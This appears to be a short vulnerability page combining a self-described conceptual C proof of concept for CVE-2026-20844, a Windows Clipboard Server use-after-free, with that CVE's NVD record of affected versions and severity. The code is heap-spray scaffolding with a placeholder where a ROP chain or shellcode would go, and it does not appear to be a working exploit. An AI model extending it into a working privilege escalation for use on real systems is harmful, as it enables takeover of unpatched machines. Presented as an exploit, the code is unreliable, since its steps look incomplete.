CVE-2026-20844

/* * CVE-2026-20844 PoC - Windows Clipboard Server Use-After-Free * Author: Security Researcher * Note: This is a conceptual PoC for educational purposes only */ #include <windows.h> #include <winuser.h> #include <stdio.h> #define MALICIOUS_PAYLOAD_SIZE 1024 // Spray heap with clipboard-related allocations void sprayHeap(HANDLE hClipboard) { char sprayBuffer[MALICIOUS_PAYLOAD_SIZE]; memset(sprayBuffer, 0x41, MALICIOUS_PAYLOAD_SIZE); for (int i = 0; i < 100; i++) { HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, MALICIOUS_PAYLOAD_SIZE); if (hMem) { char* pData = (char*)GlobalLock(hMem); memcpy(pData, sprayBuffer, MALICIOUS_PAYLOAD_SIZE); GlobalUnlock(hMem); } } } int main() { printf("[*] CVE-2026-20844 PoC - Windows Clipboard Server UAF\n"); // Step 1: Open clipboard and register custom format if (!OpenClipboard(NULL)) { printf("[-] Failed to open clipboard\n"); return -1; } UINT uFormat = RegisterClipboardFormat("CVE-2026-20844-Test"); // Step 2: Allocate and set initial clipboard data HGLOBAL hMem1 = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, 4096); if (hMem1) { SetClipboardData(uFormat, hMem1); } // Step 3: Trigger clipboard flush (releases internal objects) EmptyClipboard(); // Step 4: Spray heap to control freed memory region sprayHeap(NULL); // Step 5: Reopen clipboard with malicious data EmptyClipboard(); HGLOBAL hMalicious = GlobalAlloc(GMEM_MOVEABLE, MALICIOUS_PAYLOAD_SIZE); if (hMalicious) { char* pMalData = (char*)GlobalLock(hMalicious); // CraftROP chain or shellcode here memset(pMalData, 0x42, MALICIOUS_PAYLOAD_SIZE); GlobalUnlock(hMalicious); SetClipboardData(uFormat, hMalicious); } CloseClipboard(); printf("[+] Clipboard manipulation complete\n"); return 0; }

{"cve": {"id": "CVE-2026-20844", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:12.977", "lastModified": "2026-01-15T14:07:56.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Clipboard Server allows an unauthorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Uso después de liberar en el servidor del Portapapeles de Windows permite a un atacante no autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20844", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}